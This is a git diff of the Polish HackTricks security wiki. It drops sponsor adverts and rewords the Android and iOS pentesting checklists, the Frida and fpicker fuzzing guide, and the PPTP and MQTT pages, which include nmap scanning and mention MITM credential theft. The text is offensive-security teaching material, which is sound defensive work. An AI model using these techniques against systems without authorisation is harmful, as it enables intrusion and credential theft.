* [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Ucz się podstaw Androida](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Podstawy](android-app-pentesting/#fundamentals-review)
|
||||
|
@ -42,17 +34,17 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
### [Analiza statyczna](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Sprawdź użycie [obfuskacji](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy telefon był zrootowany, czy używany jest emulator oraz sprawdzenia antytamperowe. [Przeczytaj to, aby uzyskać więcej informacji](android-app-pentesting/#other-checks).
|
||||
* [ ] Wrażliwe aplikacje (jak aplikacje bankowe) powinny sprawdzić, czy telefon jest zrootowany i działać w konsekwencji.
|
||||
* [ ] Wrażliwe aplikacje (jak aplikacje bankowe) powinny sprawdzić, czy telefon jest zrootowany i powinny działać w konsekwencji.
|
||||
* [ ] Szukaj [interesujących ciągów](android-app-pentesting/#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, backdoory, tokeny, UUID Bluetooth...).
|
||||
* [ ] Szczególna uwaga na [firebase](android-app-pentesting/#firebase)API.
|
||||
* [ ] Szczególna uwaga na [API firebase](android-app-pentesting/#firebase).
|
||||
* [ ] [Przeczytaj manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać"
|
||||
* [ ] Sprawdź, czy APK pozwala na tworzenie kopii zapasowych
|
||||
* [ ] Eksportowane Aktywności
|
||||
* [ ] Dostawcy treści
|
||||
* [ ] Odkryte usługi
|
||||
* [ ] Odbiorniki broadcast
|
||||
* [ ] Schematy URL
|
||||
* [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać".
|
||||
* [ ] Sprawdź, czy APK pozwala na tworzenie kopii zapasowych.
|
||||
* [ ] Eksportowane Aktywności.
|
||||
* [ ] Dostawcy treści.
|
||||
* [ ] Odkryte usługi.
|
||||
* [ ] Odbiorniki broadcast.
|
||||
* [ ] Schematy URL.
|
||||
* [ ] Czy aplikacja [zapisuje dane w sposób niebezpieczny wewnętrznie lub zewnętrznie](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Czy istnieje jakiekolwiek [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa niebezpiecznych algorytmów kryptograficznych](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Wszystkie biblioteki skompilowane z użyciem flagi PIE?
|
||||
|
@ -61,7 +53,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
### [Analiza dynamiczna](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalna VM lub fizyczna](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Czy istnieje jakiekolwiek [niezamierzone wycieki danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, logi awarii)?
|
||||
* [ ] Czy istnieje jakiekolwiek [niezamierzone wyciekanie danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, logi awarii)?
|
||||
* [ ] [Poufne informacje zapisywane w bazach danych SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Wykorzystywalne eksportowane Aktywności](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Wykorzystywalni Dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
|
@ -70,20 +62,13 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
* [ ] Czy aplikacja [przesyła informacje w czystym tekście/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy możliwy jest MitM?
|
||||
* [ ] [Inspekcja ruchu HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] To jest naprawdę ważne, ponieważ jeśli możesz przechwycić ruch HTTP, możesz szukać powszechnych luk w zabezpieczeniach w sieci (Hacktricks ma wiele informacji na temat luk w zabezpieczeniach w sieci).
|
||||
* [ ] Sprawdź możliwe [iniekcje po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie analiza statyczna pomoże tutaj)
|
||||
* [ ] Sprawdź możliwe [iniekcje po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie analiza statyczna pomoże tutaj).
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Po prostu Frida, użyj jej, aby uzyskać interesujące dane dynamiczne z aplikacji (może jakieś hasła...)
|
||||
|
||||
### Informacje o obfuskacji/deobfuskacji
|
||||
|
||||
* [ ] [Przeczytaj tutaj](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -18,19 +18,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Przygotowanie
|
||||
|
||||
* [ ] Przeczytaj [**Podstawy iOS**](ios-pentesting/ios-basics.md)
|
||||
|
@ -63,7 +55,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
### Kopie zapasowe
|
||||
|
||||
* [ ] [**Kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **uzyskania dostępu do wrażliwych informacji** zapisanych w systemie plików (sprawdź początkowy punkt tej listy kontrolnej).
|
||||
* [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a ponieważ **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**.
|
||||
* [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a jako **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**.
|
||||
|
||||
### **Pamięć aplikacji**
|
||||
|
||||
|
@ -86,16 +78,16 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
* [**Niestandardowe obsługiwacze URI / Deeplinks / Niestandardowe schematy**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes).
|
||||
* [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek protokół/schemat**.
|
||||
* [ ] Sprawdź, czy aplikacja **rejestruje się do użycia** jakiegokolwiek protokołu/schematu.
|
||||
* [ ] Sprawdź, czy aplikacja **oczekuje na otrzymanie jakichkolwiek wrażliwych informacji** z niestandardowego schematu, które mogą być **przechwycone** przez inną aplikację rejestrującą ten sam schemat.
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy można wykorzystać jakąś **lukę**.
|
||||
* [ ] Sprawdź, czy aplikacja **ujawnia jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
|
||||
* [ ] Sprawdź, czy aplikacja **oczekuje otrzymania jakichkolwiek wrażliwych informacji** z niestandardowego schematu, które mogą być **przechwycone** przez inną aplikację rejestrującą ten sam schemat.
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy jakaś **vulnerabilność może być wykorzystana**.
|
||||
* [ ] Sprawdź, czy aplikacja **ekspozytuje jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
|
||||
* [**Uniwersalne linki**](ios-pentesting/#universal-links).
|
||||
* [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek uniwersalny protokół/schemat**.
|
||||
* [ ] Sprawdź plik `apple-app-site-association`.
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy można wykorzystać jakąś **lukę**.
|
||||
* [ ] Sprawdź, czy aplikacja **ujawnia jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy jakaś **vulnerabilność może być wykorzystana**.
|
||||
* [ ] Sprawdź, czy aplikacja **ekspozytuje jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
|
||||
* [**Udostępnianie UIActivity**](ios-pentesting/ios-uiactivity-sharing.md).
|
||||
* [ ] Sprawdź, czy aplikacja może odbierać UIActivities i czy możliwe jest wykorzystanie jakiejkolwiek luki z specjalnie przygotowaną aktywnością.
|
||||
* [ ] Sprawdź, czy aplikacja może odbierać UIActivities i czy możliwe jest wykorzystanie jakiejkolwiek vulnerabilności z specjalnie przygotowaną aktywnością.
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md).
|
||||
* [ ] Sprawdź, czy aplikacja **kopiuje cokolwiek do ogólnej pamięci podręcznej**.
|
||||
* [ ] Sprawdź, czy aplikacja **używa danych z ogólnej pamięci podręcznej do czegokolwiek**.
|
||||
|
@ -116,15 +108,9 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
### **Różne**
|
||||
|
||||
* [ ] Sprawdź [**automatyczne łatanie/aktualizacje**](ios-pentesting/#hot-patching-enforced-updateing) mechanizmy.
|
||||
* [ ] Sprawdź [**mechanizmy automatycznego łatania/aktualizacji**](ios-pentesting/#hot-patching-enforced-updateing).
|
||||
* [ ] Sprawdź [**złośliwe biblioteki stron trzecich**](ios-pentesting/#third-parties).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -135,7 +121,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Instalacja Frida
|
||||
|
||||
**Kroki do zainstalowania Frida na urządzeniu z jailbreakiem:**
|
||||
|
@ -41,12 +27,12 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
Jeśli używasz **Corellium**, musisz pobrać wersję Frida z [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[twojawersja]-ios-universal.dylib.gz`) i rozpakować oraz skopiować do lokalizacji dylib, o którą prosi Frida, np.: `/Users/[twojuser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Po zainstalowaniu możesz użyć na swoim PC komendy **`frida-ls-devices`** i sprawdzić, czy urządzenie się pojawia (twój PC musi mieć do niego dostęp).\
|
||||
Po zainstalowaniu możesz użyć na swoim PC polecenia **`frida-ls-devices`** i sprawdzić, czy urządzenie się pojawia (twój PC musi mieć do niego dostęp).\
|
||||
Wykonaj również **`frida-ps -Uia`**, aby sprawdzić działające procesy telefonu.
|
||||
|
||||
## Frida bez urządzenia z jailbreakiem i bez patchowania aplikacji
|
||||
|
||||
Sprawdź ten post na blogu o tym, jak używać Frida na urządzeniach bez jailbreaka bez patchowania aplikacji: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
Sprawdź ten wpis na blogu o tym, jak używać Frida na urządzeniach bez jailbreaka bez patchowania aplikacji: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Instalacja klienta Frida
|
||||
|
||||
|
@ -55,7 +41,7 @@ Zainstaluj **narzędzia frida**:
|
|||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
Z zainstalowanym serwerem Frida i działającym oraz podłączonym urządzeniem, **sprawdź**, czy klient **działa**:
|
||||
Z zainstalowanym serwerem Frida oraz działającym i podłączonym urządzeniem, **sprawdź**, czy klient **działa**:
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
|
@ -211,7 +197,7 @@ To jest interesujące z punktu widzenia debugowania, ale do fuzzingu, ciągłe *
|
|||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) to **zestaw narzędzi do fuzzingu oparty na Frida**, który oferuje różne tryby fuzzingu do fuzzingu w procesie, takie jak tryb AFL++ lub tryb pasywnego śledzenia. Powinien działać na wszystkich platformach obsługiwanych przez Frida.
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) to **zestaw fuzzingowy oparty na Frida**, który oferuje różne tryby fuzzingu dla fuzzingu w procesie, takie jak tryb AFL++ lub tryb pasywnego śledzenia. Powinien działać na wszystkich platformach obsługiwanych przez Frida.
|
||||
|
||||
* [**Zainstaluj fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **i radamsa**
|
||||
```bash
|
||||
|
@ -324,17 +310,17 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
W tym przypadku **nie restartujemy aplikacji ani nie przywracamy stanu** po każdym ładunku. Więc, jeśli Frida znajdzie **crash**, **następne wejścia** po tym ładunku mogą również **spowodować crash aplikacji** (ponieważ aplikacja jest w niestabilnym stanie), nawet jeśli **wejście nie powinno spowodować crasha** aplikacji.
|
||||
W tym przypadku **nie restartujemy aplikacji ani nie przywracamy stanu** po każdym ładunku. Więc, jeśli Frida znajdzie **crash**, **następne wejścia** po tym ładunku mogą również **spowodować crash aplikacji** (ponieważ aplikacja jest w niestabilnym stanie), nawet jeśli **wejście nie powinno spowodować crash** aplikacji.
|
||||
|
||||
Ponadto, Frida będzie przechwytywać sygnały wyjątków iOS, więc gdy **Frida znajdzie crash**, prawdopodobnie **raporty o crashach iOS nie będą generowane**.
|
||||
Ponadto, Frida będzie podłączać się do sygnałów wyjątków iOS, więc gdy **Frida znajdzie crash**, prawdopodobnie **raporty o crashach iOS nie będą generowane**.
|
||||
|
||||
Aby temu zapobiec, na przykład, moglibyśmy zrestartować aplikację po każdym crashu Fridy.
|
||||
{% endhint %}
|
||||
|
||||
### Logi i Crashe
|
||||
|
||||
Możesz sprawdzić **konsolę macOS** lub cli **`log`**, aby sprawdzić logi macOS.\
|
||||
Możesz również sprawdzić logi z iOS za pomocą **`idevicesyslog`**.\
|
||||
Możesz sprawdzić **konsolę macOS** lub **`log`** cli, aby sprawdzić logi macOS.\
|
||||
Możesz również sprawdzić logi z iOS używając **`idevicesyslog`**.\
|
||||
Niektóre logi będą pomijać informacje, dodając **`<private>`**. Aby pokazać wszystkie informacje, musisz zainstalować jakiś profil z [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/), aby włączyć te prywatne informacje.
|
||||
|
||||
Jeśli nie wiesz, co zrobić:
|
||||
|
@ -374,17 +360,6 @@ iOS przechowuje tylko 25 awarii tej samej aplikacji, więc musisz to wyczyścić
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -396,7 +371,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Basic Information
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** to metoda szeroko stosowana do **zdalnego dostępu** do urządzeń mobilnych. Wykorzystuje **port TCP 1723** do wymiany kluczy, podczas gdy **protokół IP 47** (Generic Routing Encapsulation, lub **GRE**) jest używany do szyfrowania danych przesyłanych między partnerami. Ta konfiguracja jest kluczowa dla ustanowienia bezpiecznego kanału komunikacyjnego przez internet, zapewniając, że wymieniane dane pozostają poufne i chronione przed nieautoryzowanym dostępem.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
**Default Port**:1723
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Protokół tunelowania punkt-punkt (PPTP)** to metoda szeroko stosowana do **zdalnego dostępu** do urządzeń mobilnych. Wykorzystuje **port TCP 1723** do wymiany kluczy, podczas gdy **protokół IP 47** (Generic Routing Encapsulation, lub **GRE**) jest używany do szyfrowania danych przesyłanych między partnerami. Ta konfiguracja jest kluczowa dla ustanowienia bezpiecznego kanału komunikacyjnego w Internecie, zapewniając, że wymieniane dane pozostają poufne i chronione przed nieautoryzowanym dostępem.
|
||||
|
||||
**Domyślny port**: 1723
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
```bash
|
||||
nmap –Pn -sSV -p1723 <IP>
|
||||
```
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** jest znany jako **protokół komunikacji publish/subscribe**, który wyróżnia się ekstremalną prostotą i lekkością. Protokół ten jest specjalnie dostosowany do środowisk, w których urządzenia mają ograniczone możliwości i działają w sieciach charakteryzujących się niską przepustowością, dużą latencją lub niestabilnymi połączeniami. Główne cele MQTT obejmują minimalizację wykorzystania przepustowości sieci oraz redukcję zapotrzebowania na zasoby urządzeń. Dodatkowo, dąży do utrzymania niezawodnej komunikacji i zapewnienia pewnego poziomu gwarancji dostarczenia. Cele te sprawiają, że MQTT jest wyjątkowo odpowiedni dla rozwijającej się dziedziny **komunikacji maszyna-do-maszyny (M2M)** oraz **Internetu Rzeczy (IoT)**, gdzie kluczowe jest efektywne łączenie wielu urządzeń. Ponadto, MQTT jest bardzo korzystny dla aplikacji mobilnych, gdzie oszczędzanie przepustowości i energii baterii jest kluczowe.
|
||||
**MQ Telemetry Transport (MQTT)** jest znany jako **protokół komunikacyjny publish/subscribe**, który wyróżnia się ekstremalną prostotą i lekkością. Protokół ten jest specjalnie dostosowany do środowisk, w których urządzenia mają ograniczone możliwości i działają w sieciach charakteryzujących się niską przepustowością, dużą latencją lub niestabilnymi połączeniami. Główne cele MQTT obejmują minimalizację wykorzystania przepustowości sieci oraz zmniejszenie zapotrzebowania na zasoby urządzeń. Dodatkowo, dąży do utrzymania niezawodnej komunikacji i zapewnienia pewnego poziomu gwarancji dostarczenia. Cele te sprawiają, że MQTT jest wyjątkowo odpowiedni dla rozwijającej się dziedziny **komunikacji maszyna-do-maszyny (M2M)** oraz **Internetu Rzeczy (IoT)**, gdzie kluczowe jest efektywne łączenie wielu urządzeń. Ponadto, MQTT jest bardzo korzystny dla aplikacji mobilnych, gdzie oszczędzanie przepustowości i żywotności baterii jest kluczowe.
|
||||
|
||||
**Default port:** 1883
|
||||
```
|
||||
|
@ -55,7 +42,7 @@ Na przykład, jeśli broker odrzuca połączenie z powodu nieprawidłowych danyc
|
|||
|
||||
## Pentesting MQTT
|
||||
|
||||
**Uwierzytelnianie jest całkowicie opcjonalne** i nawet jeśli uwierzytelnianie jest przeprowadzane, **szyfrowanie nie jest domyślnie używane** (dane uwierzytelniające są przesyłane w postaci niezaszyfrowanej). Ataki MITM mogą nadal być przeprowadzane w celu kradzieży haseł.
|
||||
**Uwierzytelnianie jest całkowicie opcjonalne** i nawet jeśli uwierzytelnianie jest wykonywane, **szyfrowanie nie jest domyślnie używane** (dane uwierzytelniające są przesyłane w postaci niezaszyfrowanej). Ataki MITM mogą nadal być przeprowadzane w celu kradzieży haseł.
|
||||
|
||||
